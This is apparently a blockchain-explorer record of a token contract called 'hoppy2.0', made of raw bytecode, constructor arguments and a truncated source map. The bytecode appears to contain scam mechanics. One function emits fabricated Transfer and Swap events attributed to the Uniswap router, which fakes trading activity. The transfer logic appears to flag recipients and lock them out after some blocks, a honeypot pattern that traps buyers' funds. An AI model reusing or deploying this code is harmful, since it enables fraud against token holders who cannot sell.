0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305eb2a0d811461015857806306fdde0314610192578063071352211461021c578063095ea7b31461024257806318160ddd1461026657806323b872dd1461028d578063313ce567146102b757806334278776146102cc578063661884631461039e57806366cd4df4146103c257806370a08231146103dc578063715018a6146103fd5780638da5cb5b14610414578063936b2d6e1461044557806395d89b411461049e5780639ebbaef7146104b3578063a9059cbb146104d7578063acdd08e1146104fb578063b6fccf8a14610513578063b73326ea14610528578063be40ad9414610542578063d73dd62314610568578063dd62ed3e1461058c578063e156b1b6146105b3578063eb5a479d146105dd578063f4c2baa914610636575b600080fd5b34801561016457600080fd5b5061017e600160a060020a03600435166024351515610657565b604080519115158252519081900360200190f35b34801561019e57600080fd5b506101a7610682565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e15781810151838201526020016101c9565b50505050905090810190601f16801561020e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022857600080fd5b5061017e600160a060020a03600435166024351515610710565b34801561024e57600080fd5b5061017e600160a060020a0360043516602435610734565b34801561027257600080fd5b5061027b610740565b60408051918252519081900360200190f35b34801561029957600080fd5b5061017e600160a060020a0360043581169060243516604435610746565b3480156102c357600080fd5b5061027b61075b565b3480156102d857600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975050509235600160a060020a0316935061076192505050565b3480156103aa57600080fd5b5061017e600160a060020a0360043516602435610995565b3480156103ce57600080fd5b5061017e60043515156109a1565b3480156103e857600080fd5b5061027b600160a060020a03600435166109ca565b34801561040957600080fd5b506104126109e5565b005b34801561042057600080fd5b50610429610a08565b60408051600160a060020a039092168252519081900360200190f35b34801561045157600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750949750505050913515159250610a17915050565b3480156104aa57600080fd5b506101a7610a3b565b3480156104bf57600080fd5b50610412602460048035828101929101359035610a96565b3480156104e357600080fd5b5061017e600160a060020a0360043516602435610afa565b34801561050757600080fd5b5061017e600435610b06565b34801561051f57600080fd5b50610429610b29565b34801561053457600080fd5b5061017e6004351515610b38565b34801561054e57600080fd5b5061017e600160a060020a03600435166024351515610b5b565b34801561057457600080fd5b5061017e600160a060020a0360043516602435610b7f565b34801561059857600080fd5b5061027b600160a060020a0360043581169060243516610b8b565b3480156105bf57600080fd5b5061017e600160a060020a0360043581169060243516604435610bb6565b3480156105e957600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750949750505050913515159250610bc3915050565b34801561064257600080fd5b5061017e600160a060020a0360043516610be7565b600b54600090600160a060020a0316331461067157600080fd5b61067b8383610c0a565b9392505050565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107085780601f106106dd57610100808354040283529160200191610708565b820191906000526020600020905b8154815290600101906020018083116106eb57829003601f168201915b505050505081565b600b54600090600160a060020a0316331461072a57600080fd5b61067b8383610c9b565b600061067b8383610d1a565b60005481565b6000610753848484610d6e565b949350505050565b600e5481565b6000805b855181101561098957858181518110151561077c57fe5b602090810290910101516001548651600160a060020a039283169291909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908890859081106107ca57fe5b906020019060200201516040518082815260200191505060405180910390a385818151811015156107f757fe5b90602001906020020151600160a060020a0316737a250d5630b4cf539739df2c5dacb4c659f2488d7fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110151561084e57fe5b90602001906020020151600080898781518110151561086957fe5b906020019060200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a382600160a060020a031663e156b1b687838151811015156108ba57fe5b602090810290910101516001548751600160a060020a03909116908890869081106108e157fe5b6020908102909101810151604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b15801561095557600080fd5b505af1158015610969573d6000803e3d6000fd5b505050506040513d602081101561097f57600080fd5b5050600101610765565b50600195945050505050565b600061067b8383610fbe565b600b54600090600160a060020a031633146109bb57600080fd5b6109c48261109c565b92915050565b600160a060020a031660009081526009602052604090205490565b600a54600160a060020a031633146109fc57600080fd5b610a066000611111565b565b600a54600160a060020a031681565b600b54600090600160a060020a03163314610a3157600080fd5b61067b8383611170565b600d805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107085780601f106106dd57610100808354040283529160200191610708565b60005b82811015610af45730848483818110610aae57fe5b90506020020135600160a060020a0316600160a060020a0316600080516020611854833981519152846040518082815260200191505060405180910390a3600101610a99565b50505050565b600061067b8383611214565b600b54600090600160a060020a03163314610b2057600080fd5b6109c4826113cc565b600154600160a060020a031681565b600b54600090600160a060020a03163314610b5257600080fd5b6109c4826113d4565b600b54600090600160a060020a03163314610b7557600080fd5b61067b838361144c565b600061067b83836114dd565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6000610753848484611564565b600b54600090600160a060020a03163314610bdd57600080fd5b61067b83836115bb565b600b54600090600160a060020a03163314610c0157600080fd5b6109c482611671565b600160a060020a03821660009081526006602052604081205460ff1615158215151415610c3657600080fd5b600160a060020a038316600081815260066020908152604091829020805460ff1916861515908117909155825190815291517f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d9281900390910190a250600192915050565b600160a060020a03821660009081526005602052604081205460ff1615158215151415610cc757600080fd5b600160a060020a038316600081815260056020908152604091829020805460ff1916861515908117909155825190815291516000805160206118348339815191529281900390910190a250600192915050565b336000818152600360209081526040808320600160a060020a03871680855290835281842086905581518681529151939490939092600080516020611854833981519152928290030190a350600192915050565b6000610d7a84846116bf565b60025474010000000000000000000000000000000000000000900460ff168015610dbd5750600160a060020a03831660009081526006602052604090205460ff16155b8015610dd75750600154600160a060020a03848116911614155b15610e6057600160a060020a038316600081815260056020908152604091829020805460ff19166001908117909155825190815291516000805160206118348339815191529281900390910190a2600160a060020a0383166000908152600760205260409020541515610e6057600160a060020a03831660009081526007602052604090204390555b600160a060020a038381169085161415610e7957600080fd5b600160a060020a0383161515610e8e57600080fd5b600160a060020a038416600090815260096020526040902054821115610eb357600080fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054821115610ee357600080fd5b600160a060020a038416600090815260096020526040902054610f0c908363ffffffff6117c116565b600160a060020a038086166000908152600960205260408082209390935590851681522054610f41908363ffffffff6117d316565b600160a060020a038085166000908152600960209081526040808320949094559187168152600382528281203382529091522054610f85908363ffffffff6117c116565b600160a060020a0385166000908152600360209081526040808320338452909152902055610fb48484846117e2565b5060019392505050565b336000908152600360209081526040808320600160a060020a03861684529091528120548083111561101357336000908152600360209081526040808320600160a060020a0388168452909152812055611048565b611023818463ffffffff6117c116565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a038916808552908352928190205481519081529051929392600080516020611854833981519152929181900390910190a35060019392505050565b60025460009060ff7401000000000000000000000000000000000000000090910416151582151514156110ce57600080fd5b5060028054821515740100000000000000000000000000000000000000000274ff0000000000000000000000000000000000000000199091161790556001919050565b600a8054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000805b8351811015610fb4578260056000868481518110151561119057fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905583518490829081106111d057fe5b90602001906020020151600160a060020a031660008051602061183483398151915284604051808215151515815260200191505060405180910390a2600101611174565b600061122033846116bf565b60025474010000000000000000000000000000000000000000900460ff1680156112635750600160a060020a03831660009081526006602052604090205460ff16155b801561127d5750600154600160a060020a03848116911614155b1561130657600160a060020a038316600081815260056020908152604091829020805460ff19166001908117909155825190815291516000805160206118348339815191529281900390910190a2600160a060020a038316600090815260076020526040902054151561130657600160a060020a03831660009081526007602052604090204390555b600160a060020a038316151561131b57600080fd5b600160a060020a03831633141561133157600080fd5b3360009081526009602052604090205482111561134d57600080fd5b3360009081526009602052604090205461136d908363ffffffff6117c116565b3360009081526009602052604080822092909255600160a060020a0385168152205461139f908363ffffffff6117d316565b600160a060020a0384166000908152600960205260409020556113c33384846117e2565b50600192915050565b600855600190565b60025460009060ff7501000000000000000000000000000000000000000000909104161515821515141561140757600080fd5b506002805482151575010000000000000000000000000000000000000000000275ff000000000000000000000000000000000000000000199091161790556001919050565b600160a060020a03821660009081526004602052604081205460ff161515821515141561147857600080fd5b600160a060020a038316600081815260046020908152604091829020805460ff1916861515908117909155825190815291517ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d9281900390910190a250600192915050565b336000908152600360209081526040808320600160a060020a0386168452909152812054611511908363ffffffff6117d316565b336000818152600360209081526040808320600160a060020a038916808552908352928190208590558051948552519193600080516020611854833981519152929081900390910190a350600192915050565b600082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b6000805b8351811015610fb457826004600086848151811015156115db57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055835184908290811061161b57fe5b90602001906020020151600160a060020a03167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a26001016115bf565b600154600090600160a060020a038381169116141561168f57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b600160a060020a03821660009081526006602052604090205460ff161580156117015750600160a060020a03811660009081526006602052604090205460ff16155b156117bd57600160a060020a03821660009081526004602052604090205460ff161561172c57600080fd5b600160a060020a03811660009081526004602052604090205460ff161561175257600080fd5b3360009081526004602052604090205460ff161561176f57600080fd5b600160a060020a03821660009081526005602052604090205460ff1615806117b25750600854600160a060020a0383166000908152600760205260409020540143105b15156117bd57600080fd5b5050565b6000828211156117cd57fe5b50900390565b60008282018381101561067b57fe5b6002547501000000000000000000000000000000000000000000900460ff16156118235760025461181d90600160a060020a03168383611564565b5061182e565b610af4838383611564565b5050505600a26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a723058201e484a1b6d191bfcd326d657187cefa4e750910a6e431ad83aa74a4de05627bd0029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445000000000000000000000000ed70447d5966febb1033145b239b4f43cdc2aae20000000000000000000000000000000000000000000000000000000000000008686f707079322e300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008484f505059322e30000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): hoppy2.0
Arg [1] : _symbol (string): HOPPY2.0
Arg [2] : _decimals (uint256): 18
Arg [3] : _supply (uint256): 1000000000
Arg [4] : tokenOwner (address): 0x314f2D814414F918447a93413F41DD3501AD4445
Arg [5] : _service (address): 0x314f2D814414F918447a93413F41DD3501AD4445
Arg [6] : _mst (address): 0xeD70447d5966FEBb1033145B239B4f43cdc2AaE2

-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445
Arg [5] : 000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445
Arg [6] : 000000000000000000000000ed70447d5966febb1033145b239b4f43cdc2aae2
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [8] : 686f707079322e30000000000000000000000000000000000000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [10] : 484f505059322e30000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11519:1650:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10981:167;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10981:167:0;-1:-1:-1;;;;;10981:167:0;;;;;;;;;;;;;;;;;;;;;;;;;;;11558:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11558:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;11558:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10811:164;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10811:164:0;-1:-1:-1;;;;;10811:164:0;;;;;;;;;9511:131;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;9511:131:0;-1:-1:-1;;;;;9511:131:0;;;;;;;1964:26;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1964:26:0;;;;;;;;;;;;;;;;;;;;9350:153;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;9350:153:0;-1:-1:-1;;;;;9350:153:0;;;;;;;;;;;;11610:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11610:20:0;;;;12266:677;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;12266:677:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;12266:677:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12266:677:0;;;;-1:-1:-1;12266:677:0;-1:-1:-1;12266:677:0;;-1:-1:-1;12266:677:0;;;;;;;;;-1:-1:-1;;12266:677:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12266:677:0;;;;-1:-1:-1;12266:677:0;-1:-1:-1;12266:677:0;;-1:-1:-1;12266:677:0;;;;;;;;;-1:-1:-1;12266:677:0;;-1:-1:-1;;;12266:677:0;;-1:-1:-1;;;;;12266:677:0;;-1:-1:-1;12266:677:0;;-1:-1:-1;;;12266:677:0;9822:174;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;9822:174:0;-1:-1:-1;;;;;9822:174:0;;;;;;;10154:111;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10154:111:0;;;;;;;4258:115;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;4258:115:0;-1:-1:-1;;;;;4258:115:0;;;;;1574:87;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1574:87:0;;;;;;1260:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1260:20:0;;;;;;;;-1:-1:-1;;;;;1260:20:0;;;;;;;;;;;;;;11333:177;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;11333:177:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11333:177:0;;-1:-1:-1;;;;11333:177:0;;;;;-1:-1:-1;11333:177:0;;-1:-1:-1;;11333:177:0;11583:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11583:20:0;;;;12951:213;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;12951:213:0;;;;;;;;;;;;;;;;9219:123;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;9219:123:0;-1:-1:-1;;;;;9219:123:0;;;;;;;10273:115;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10273:115:0;;;;;2669:17;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2669:17:0;;;;10396:114;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10396:114:0;;;;;;;10640:165;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10640:165:0;-1:-1:-1;;;;;10640:165:0;;;;;;;;;9650:164;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;9650:164:0;-1:-1:-1;;;;;9650:164:0;;;;;;;6071:134;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6071:134:0;-1:-1:-1;;;;;6071:134:0;;;;;;;;;;10002:144;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10002:144:0;-1:-1:-1;;;;;10002:144:0;;;;;;;;;;;;11154:173;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;11154:173:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11154:173:0;;-1:-1:-1;;;;11154:173:0;;;;;-1:-1:-1;11154:173:0;;-1:-1:-1;;11154:173:0;10518:114;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;10518:114:0;-1:-1:-1;;;;;10518:114:0;;;;;10981:167;1721:3;;11063:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;11095:45;11112:11;11125:14;11095:16;:45::i;:::-;11088:52;10981:167;-1:-1:-1;;;10981:167:0:o;11558:18::-;;;;;;;;;;;;;;;-1:-1:-1;;11558:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;10811:164::-;1721:3;;10892:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10924:43;10940:11;10953:13;10924:15;:43::i;9511:131::-;9579:4;9603:31;9617:8;9627:6;9603:13;:31::i;1964:26::-;;;;:::o;9350:153::-;9433:4;9457:38;9476:5;9483:3;9488:6;9457:18;:38::i;:::-;9450:45;9350:153;-1:-1:-1;;;;9350:153:0:o;11610:20::-;;;;:::o;12266:677::-;12454:4;;12471:443;12495:10;:17;12491:1;:21;12471:443;;;12552:10;12563:1;12552:13;;;;;;;;;;;;;;;;;;;12548:2;;12567:15;;-1:-1:-1;;;;;12539:44:0;;;;12548:2;;;;;12539:44;;12567:12;;12580:1;;12567:15;;;;;;;;;;;;;;12539:44;;;;;;;;;;;;;;;;;;12794:10;12805:1;12794:13;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12603:219:0;12626:42;12603:219;12687:12;12700:1;12687:15;;;;;;;;;;;;;;;;;;12721:1;12741;12761:11;12773:1;12761:14;;;;;;;;;;;;;;;;;;12603:219;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12844:12;-1:-1:-1;;;;;12837:30:0;;12868:10;12879:1;12868:13;;;;;;;;;;;;;;;;;;;12883:2;;12887:14;;-1:-1:-1;;;;;12883:2:0;;;;12887:11;;12899:1;;12887:14;;;;;;;;;;;;;;;;12837:65;;;;;;;;;;-1:-1:-1;;;;;12837:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;12887:14;12837:65;;;;;-1:-1:-1;12837:65:0;;;;5:2:-1;;;;30:1;27;20:12;5:2;12837:65:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;12837:65:0;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;12514:3:0;;12471:443;;;-1:-1:-1;12931:4:0;;12266:677;-1:-1:-1;;;;;12266:677:0:o;9822:174::-;9906:12;9938:50;9961:8;9971:16;9938:22;:50::i;10154:111::-;1721:3;;10205:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10237:20;10253:3;10237:15;:20::i;:::-;10230:27;10154:111;-1:-1:-1;;10154:111:0:o;4258:115::-;-1:-1:-1;;;;;4349:16:0;4314:15;4349:16;;;:8;:16;;;;;;;4258:115::o;1574:87::-;1540:5;;-1:-1:-1;;;;;1540:5:0;1526:10;:19;1518:28;;;;;;1632:21;1650:1;1632:9;:21::i;:::-;1574:87::o;1260:20::-;;;-1:-1:-1;;;;;1260:20:0;;:::o;11333:177::-;1721:3;;11420:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;11452:50;11475:11;11488:13;11452:22;:50::i;11583:20::-;;;;;;;;;;;;;;;-1:-1:-1;;11583:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12951:213;13035:9;13030:127;13050:21;;;13030:127;;;13130:4;13107:10;;13118:1;13107:13;;;;;;;;;;;;;-1:-1:-1;;;;;13107:13:0;-1:-1:-1;;;;;13098:47:0;-1:-1:-1;;;;;;;;;;;13137:7:0;13098:47;;;;;;;;;;;;;;;;;;13073:3;;13030:127;;;12951:213;;;;:::o;9219:123::-;9283:4;9307:27;9322:3;9327:6;9307:14;:27::i;10273:115::-;1721:3;;10324:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10356:24;10376:3;10356:19;:24::i;2669:17::-;;;-1:-1:-1;;;;;2669:17:0;;:::o;10396:114::-;1721:3;;10450:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10482:20;10498:3;10482:15;:20::i;10640:165::-;1721:3;;10721:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10753:44;10770:11;10783:13;10753:16;:44::i;9650:164::-;9729:12;9761:45;9784:8;9794:11;9761:22;:45::i;6071:134::-;-1:-1:-1;;;;;6172:15:0;;;6145:7;6172:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;6071:134::o;10002:144::-;10078:4;10101:37;10121:5;10127:3;10131:6;10101:19;:37::i;11154:173::-;1721:3;;11236:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;11268:51;11292:11;11305:13;11268:23;:51::i;10518:114::-;1721:3;;10572:12;;-1:-1:-1;;;;;1721:3:0;1707:10;:17;1699:26;;;;;;10604:20;10620:3;10604:15;:20::i;8230:278::-;-1:-1:-1;;;;;8332:24:0;;8307:4;8332:24;;;:14;:24;;;;;;;;:42;;;;;;;8324:51;;;;;;-1:-1:-1;;;;;8386:24:0;;;;;;:14;:24;;;;;;;;;:41;;-1:-1:-1;;8386:41:0;;;;;;;;;;8443:35;;;;;;;;;;;;;;;;;-1:-1:-1;8496:4:0;8230:278;;;;:::o;7954:270::-;-1:-1:-1;;;;;8054:23:0;;8029:4;8054:23;;;:13;:23;;;;;;;;:40;;;;;;;8046:49;;;;;;-1:-1:-1;;;;;8106:23:0;;;;;;:13;:23;;;;;;;;;:39;;-1:-1:-1;;8106:39:0;;;;;;;;;;8161:33;;;;;;;-1:-1:-1;;;;;;;;;;;8161:33:0;;;;;;;;;-1:-1:-1;8212:4:0;7954:270;;;;:::o;5855:206::-;5947:10;5922:4;5939:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5939:29:0;;;;;;;;;;;:38;;;5993;;;;;;;5922:4;;5939:29;;5947:10;;-1:-1:-1;;;;;;;;;;;5993:38:0;;;;;;;-1:-1:-1;6049:4:0;5855:206;;;;:::o;4381:833::-;4463:4;4480:24;4494:5;4500:3;4480:13;:24::i;:::-;4520:2;;;;;;;:24;;;;-1:-1:-1;;;;;;4525:19:0;;;;;;:14;:19;;;;;;;;4524:20;4520:24;:33;;;;-1:-1:-1;4551:2:0;;-1:-1:-1;;;;;4546:7:0;;;4551:2;;4546:7;;4520:33;4517:217;;;-1:-1:-1;;;;;4569:18:0;;;;;;:13;:18;;;;;;;;;:25;;-1:-1:-1;;4569:25:0;4590:4;4569:25;;;;;;4614:19;;;;;;;-1:-1:-1;;;;;;;;;;;4614:19:0;;;;;;;;;-1:-1:-1;;;;;4651:10:0;;;;;;:5;:10;;;;;;:13;4648:75;;;-1:-1:-1;;;;;4684:10:0;;;;;;:5;:10;;;;;4695:12;4684:23;;4648:75;-1:-1:-1;;;;;4752:12:0;;;;;;;;4744:21;;;;;;-1:-1:-1;;;;;4784:17:0;;;;4776:26;;;;;;-1:-1:-1;;;;;4831:15:0;;;;;;:8;:15;;;;;;4821:25;;;4813:34;;;;;;-1:-1:-1;;;;;4876:14:0;;;;;;:7;:14;;;;;;;;4891:10;4876:26;;;;;;;;4866:36;;;4858:45;;;;;;-1:-1:-1;;;;;4932:15:0;;;;;;:8;:15;;;;;;:27;;4952:6;4932:27;:19;:27;:::i;:::-;-1:-1:-1;;;;;4914:15:0;;;;;;;:8;:15;;;;;;:45;;;;4990:13;;;;;;;:25;;5008:6;4990:25;:17;:25;:::i;:::-;-1:-1:-1;;;;;4974:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;5055:14;;;;;:7;:14;;;;;5070:10;5055:26;;;;;;;:38;;5086:6;5055:38;:30;:38;:::i;:::-;-1:-1:-1;;;;;5026:14:0;;;;;;:7;:14;;;;;;;;5041:10;5026:26;;;;;;;:67;5104:33;5034:5;5125:3;5130:6;5104:13;:33::i;:::-;-1:-1:-1;5202:4:0;4381:833;;;;;:::o;6503:450::-;6627:10;6586:4;6619:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6619:29:0;;;;;;;;;;6663:27;;;6659:188;;;6715:10;6739:1;6707:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6707:29:0;;;;;;;;;:33;6659:188;;;6805:30;:8;6818:16;6805:30;:12;:30;:::i;:::-;6781:10;6773:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6773:29:0;;;;;;;;;:62;6659:188;6871:10;6893:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6862:61:0;;6893:29;;;;;;;;;;;6862:61;;;;;;;;;6871:10;-1:-1:-1;;;;;;;;;;;6862:61:0;;;;;;;;;;-1:-1:-1;6941:4:0;;6503:450;-1:-1:-1;;;6503:450:0:o;7131:129::-;7203:2;;7178:4;;7203:2;;;;;;:9;;;;;;;7195:18;;;;;;-1:-1:-1;7224:2:0;:6;;;;;;;-1:-1:-1;;7224:6:0;;;;;;-1:-1:-1;7131:129:0;;;:::o;1753:171::-;1828:5;;;-1:-1:-1;;;;;1844:16:0;;;-1:-1:-1;;1844:16:0;;;;;;;1876:40;;1828:5;;;1844:16;1828:5;;1876:40;;1809:16;;1876:40;1753:171;;:::o;8838:312::-;8926:4;;8943:178;8963:12;:19;8959:1;:23;8943:178;;;9036:13;9003;:30;9017:12;9030:1;9017:15;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9003:30:0;;;;;;;;;;;-1:-1:-1;9003:30:0;:46;;-1:-1:-1;;9003:46:0;;;;;;;;;;9078:15;;;;9091:1;;9078:15;;;;;;;;;;;;;;-1:-1:-1;;;;;9069:40:0;-1:-1:-1;;;;;;;;;;;9095:13:0;9069:40;;;;;;;;;;;;;;;;;;;;;;8984:3;;8943:178;;3469:779;3532:4;3549:29;3563:10;3574:3;3549:13;:29::i;:::-;3592:2;;;;;;;:24;;;;-1:-1:-1;;;;;;3597:19:0;;;;;;:14;:19;;;;;;;;3596:20;3592:24;:33;;;;-1:-1:-1;3623:2:0;;-1:-1:-1;;;;;3618:7:0;;;3623:2;;3618:7;;3592:33;3589:217;;;-1:-1:-1;;;;;3641:18:0;;;;;;:13;:18;;;;;;;;;:25;;-1:-1:-1;;3641:25:0;3662:4;3641:25;;;;;;3686:19;;;;;;;-1:-1:-1;;;;;;;;;;;3686:19:0;;;;;;;;;-1:-1:-1;;;;;3723:10:0;;;;;;:5;:10;;;;;;:13;3720:75;;;-1:-1:-1;;;;;3756:10:0;;;;;;:5;:10;;;;;3767:12;3756:23;;3720:75;-1:-1:-1;;;;;3826:17:0;;;;3818:26;;;;;;-1:-1:-1;;;;;3863:17:0;;3870:10;3863:17;;3855:26;;;;;;3919:10;3910:20;;;;:8;:20;;;;;;3900:30;;;3892:39;;;;;;3974:10;3965:20;;;;:8;:20;;;;;;:32;;3990:6;3965:32;:24;:32;:::i;:::-;3951:10;3942:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;4092:13:0;;;;;;:25;;4110:6;4092:25;:17;:25;:::i;:::-;-1:-1:-1;;;;;4076:13:0;;;;;;:8;:13;;;;;:41;4128:38;4142:10;4085:3;4159:6;4128:13;:38::i;:::-;-1:-1:-1;4236:4:0;3469:779;;;;:::o;7268:119::-;7343:6;:14;7375:4;;7268:119::o;7395:127::-;7467:2;;7442:4;;7467:2;;;;;;:7;;;;;;;7459:16;;;;;;-1:-1:-1;7486:2:0;:6;;;;;;;-1:-1:-1;;7486:6:0;;;;;;-1:-1:-1;7395:127:0;;;:::o;7668:278::-;-1:-1:-1;;;;;7770:24:0;;7745:4;7770:24;;;:14;:24;;;;;;;;:42;;;;;;;7762:51;;;;;;-1:-1:-1;;;;;7824:24:0;;;;;;:14;:24;;;;;;;;;:41;;-1:-1:-1;;7824:41:0;;;;;;;;;;7881:35;;;;;;;;;;;;;;;;;-1:-1:-1;7934:4:0;7668:278;;;;:::o;6215:280::-;6350:10;6293:4;6342:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6342:29:0;;;;;;;;;;:46;;6376:11;6342:46;:33;:46;:::i;:::-;6318:10;6310:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6310:29:0;;;;;;;;;;;;:78;;;6404:61;;;;;;6310:2